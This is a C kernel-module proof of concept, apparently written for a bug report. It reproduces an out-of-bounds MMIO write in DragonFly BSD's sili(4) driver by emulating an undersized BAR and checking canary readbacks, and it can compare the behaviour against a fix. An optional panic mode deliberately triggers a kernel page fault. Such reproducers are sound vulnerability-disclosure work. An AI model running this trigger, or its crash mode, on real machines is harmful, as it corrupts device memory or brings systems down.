DF-4964 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 | /* * DF-4964 PoC trigger (v3): drive sili(4)'s own sili_port_alloc() against an * undersized port-register window, emulating a SiI 3124/3132 whose BAR(2) * decodes only 4KB, and PROVE the out-of-bounds MMIO by canary readback. * * What is emulated (hardware state only): * - A 64KB device mapping backed by real RAM (phys 0x60000000), obtained * exactly the way bus_alloc_resource_any() maps a BAR * (pmap_mapdev_uncacheable). The driver is told (sc_pregs rman size) * that BAR(2) is only the first 4KB. Everything past +0x1000 that the * driver touches is OUT OF BOUNDS w.r.t. its window; the canaries we * plant there are outside the window but inside the real mapping, so * the OOB access is deterministic and observable on any KVA layout. * - A fake BAR(0) global-regs window (inside the real mapping) for the * GCTL accesses, real DMA tags and sc_ncmds so the port helper thread * (started at the end of a successful sili_port_alloc) stays inside * the mapped region. * - A valid device_t for the ksnprintf() in sili_port_alloc. * * What is NOT emulated (100% driver code under test): * - sili_port_alloc(sc, 3) from the stock kernel (sili is compiled into * X86_64_GENERIC): subregion carve at SILI_PORT_REGION(3) = 24KB with * zero validation, then sili_pwrite(INT_DISABLE) at +24576+0x1014 and * the CTL_SET/STATUS access at +24576+0x1000 -- all outside the 4KB * BAR(2) window the driver was given. * * Expected output (unpatched, any KVA layout): * TRIGGER: canary@+0x7014 before = deadbeef / canary@+0x7000 = cafebabe * TRIGGER: canary@+0x7014 after = <SILI_PREG_INT_MASK> *** OOB WRITE PROVEN * TRIGGER: canary@+0x7000 after = 00000001 *** OOB WRITE PROVEN * TRIGGER: sili_port_alloc returned 0 * (On hardware where the KVA past a real 4KB BAR window is unmapped, this * same driver path takes a kernel page fault -- Fatal trap 12 -- instead.) * * With fix.diff applied (sili.c rebuilt): sili_port_alloc returns EINVAL * (22) before any MMIO; both canaries still read deadbeef/cafebabe. * * NOTE: on the unpatched run the port helper thread keeps running against * the (mapped) region and the softc is intentionally leaked, so unload and * further guest use stay safe; a reboot clears it. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/rman.h> #include <sys/bus.h> #include <machine/bus_dma.h> #include <machine/pmap.h> #include <vm/pmap.h> #include <vm/vm_extern.h> #include <vm/vm_kern.h> #include "sili.h" #define FAKE_BAR_PHYS 0x60000000UL /* real RAM on this guest (4GB) */ #define REAL_MAP_SIZE 0x10000 /* 64KB real mapping */ #define FAKE_BAR_SIZE 4096 /* what the driver is told BAR(2) is */ #define TEST_PORT 3 /* SiI3124: 4 ports -> subregion @24KB */ /* offsets past the fake 4KB window that sili_port_alloc(port=3) will touch */ #define OOB_INT_DISABLE (TEST_PORT * 8192 + SILI_PREG_INT_DISABLE) /* 0x7014 */ #define OOB_CTL_SET (TEST_PORT * 8192 + SILI_PREG_CTL_SET) /* 0x7000 */ static bus_space_handle_t mapbase; static struct sili_softc *leaked_sc; /* * Panic mode: create a guaranteed-unmapped KVA hole (kmem_alloc then * kmem_free tears the PTEs down), park the fake 4KB BAR(2) inside it, and * let the driver's first OOB sili_pwrite() take the kernel page fault * (Fatal trap 12) -- the exact hardware situation where the BAR window is * smaller than the subregion offset and the adjacent KVA is unmapped. * Enabled with kenv df4964.panic=1. */ static bus_space_handle_t find_unmapped_bar_base(void) { vm_offset_t va, b; va = kmem_alloc(kernel_map, 2 * 1024 * 1024, VM_SUBSYS_KMALLOC); kprintf("TRIGGER: dbg kmem_alloc(2MB) = %08jx\n", (uintmax_t)va); if (va == 0) return (0); kmem_free(kernel_map, va, 2 * 1024 * 1024); b = va + 0x100000; /* deep inside the freed hole */ kprintf("TRIGGER: dbg extract(b+0x7000)=%08jx extract(b+0x7014)=%08jx\n", (uintmax_t)pmap_extract(kernel_pmap, b + OOB_CTL_SET, NULL), (uintmax_t)pmap_extract(kernel_pmap, b + OOB_INT_DISABLE, NULL)); /* * NB: DFly pmap_extract() on a kernel VA whose PTE was cleared but * whose page-table page is still present returns va & PAGE_MASK (no * frame bits) -- treat "no frame bits" as unmapped. */ if ((pmap_extract(kernel_pmap, b + OOB_CTL_SET, NULL) & ~PAGE_MASK) != 0 || (pmap_extract(kernel_pmap, b + OOB_INT_DISABLE, NULL) & ~PAGE_MASK) != 0) return (0); return ((bus_space_handle_t)b); } static int df4964_modevent(module_t mod, int type, void *arg) { struct resource fake_pregs; device_t dev; uint32_t *can_int_dis, *can_ctl_set; bus_space_handle_t fake_bar; int rc, error, panic_mode; switch (type) { case MOD_LOAD: panic_mode = kgetenv("df4964.panic") != NULL; /* the real 64KB mapping (what the PCI bus code would map for a * 64KB BAR; the undersized-card case maps only 4KB of it) */ mapbase = (bus_space_handle_t)pmap_mapdev_uncacheable( FAKE_BAR_PHYS, REAL_MAP_SIZE); if (panic_mode) { fake_bar = find_unmapped_bar_base(); kprintf("TRIGGER: PANIC MODE, fake BAR2 base=%08jx " "(targets +0x%x provably unmapped via " "pmap_extract)\n", (uintmax_t)fake_bar, OOB_CTL_SET); kprintf("TRIGGER: first OOB write will land at " "%08jx -- expect Fatal trap 12\n", (uintmax_t)(fake_bar + OOB_INT_DISABLE)); if (fake_bar == 0) return (ENOENT); } else { fake_bar = mapbase; } can_int_dis = (uint32_t *)(mapbase + OOB_INT_DISABLE); can_ctl_set = (uint32_t *)(mapbase + OOB_CTL_SET); *can_int_dis = 0xdeadbeef; *can_ctl_set = 0xcafebabe; kprintf("TRIGGER: fake_bar=%08jx, driver told BAR2=%d bytes\n", (uintmax_t)fake_bar, FAKE_BAR_SIZE); if (!panic_mode) kprintf("TRIGGER: canary@+0x%x before = %08x, " "canary@+0x%x before = %08x\n", OOB_INT_DISABLE, *can_int_dis, OOB_CTL_SET, *can_ctl_set); kprintf("TRIGGER: calling sili_port_alloc(sc, port=%d)\n", TEST_PORT); dev = devclass_get_device(devclass_find("pci"), 0); if (dev == NULL) dev = devclass_get_device(devclass_find("nexus"), 0); leaked_sc = kmalloc(sizeof(*leaked_sc), M_DEVBUF, M_INTWAIT | M_ZERO); leaked_sc->sc_dev = dev; leaked_sc->sc_piot = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; leaked_sc->sc_pioh = fake_bar; leaked_sc->sc_iot = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; leaked_sc->sc_ioh = (bus_space_handle_t)(mapbase + 0x8000); leaked_sc->sc_ncmds = SILI_MAX_CMDS; /* * Fake rman resource describing the 4KB BAR(2). rman_get_size * only reads r_start/r_end; consumed solely by the patched * bounds check (by nothing at all on an unpatched kernel). */ bzero(&fake_pregs, sizeof(fake_pregs)); fake_pregs.r_start = 0; fake_pregs.r_end = FAKE_BAR_SIZE - 1; leaked_sc->sc_pregs = &fake_pregs; /* real tags so a successful port_alloc's helper thread works */ error = bus_dma_tag_create(NULL, 8, 0, 0, BUS_SPACE_MAXADDR, 4096, 1, 4096, 0, &leaked_sc->sc_tag_prbs); error += bus_dma_tag_create(NULL, 4, 0, 0, BUS_SPACE_MAXADDR, 4096 * 1024, SILI_MAX_SGET, 65536, 0, &leaked_sc->sc_tag_data); if (error) return (ENOMEM); rc = sili_port_alloc(leaked_sc, TEST_PORT); /* code under test */ if (panic_mode) { kprintf("TRIGGER: survived?? rc=%d (panic expected)\n", rc); return (0); } kprintf("TRIGGER: canary@+0x%x after = %08x\n", OOB_INT_DISABLE, *can_int_dis); kprintf("TRIGGER: canary@+0x%x after = %08x\n", OOB_CTL_SET, *can_ctl_set); if (*can_int_dis != 0xdeadbeef && *can_ctl_set != 0xcafebabe) kprintf("TRIGGER: *** OOB MMIO WRITES PROVEN at +0x%x " "and +0x%x (INT_DISABLE/CTL_SET landed outside " "the 4KB BAR2 window) ***\n", OOB_INT_DISABLE, OOB_CTL_SET); else if (*can_int_dis != 0xdeadbeef) kprintf("TRIGGER: *** OOB MMIO WRITE PROVEN at +0x%x " "***\n", OOB_INT_DISABLE); else if (rc == EINVAL) kprintf("TRIGGER: EINVAL before any MMIO -> fix " "effective, canaries untouched\n"); else kprintf("TRIGGER: canaries untouched (unexpected)\n"); kprintf("TRIGGER: sili_port_alloc returned %d\n", rc); /* sc intentionally leaked: the port thread references it */ return (0); case MOD_UNLOAD: kprintf("TRIGGER: unloaded, guest still alive\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t df4964_mod = { "df4964", df4964_modevent, NULL }; DECLARE_MODULE(df4964, df4964_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); /* no MODULE_DEPEND: stock kernel has sili compiled in; on kernels without * it, kldload sili.ko first */ |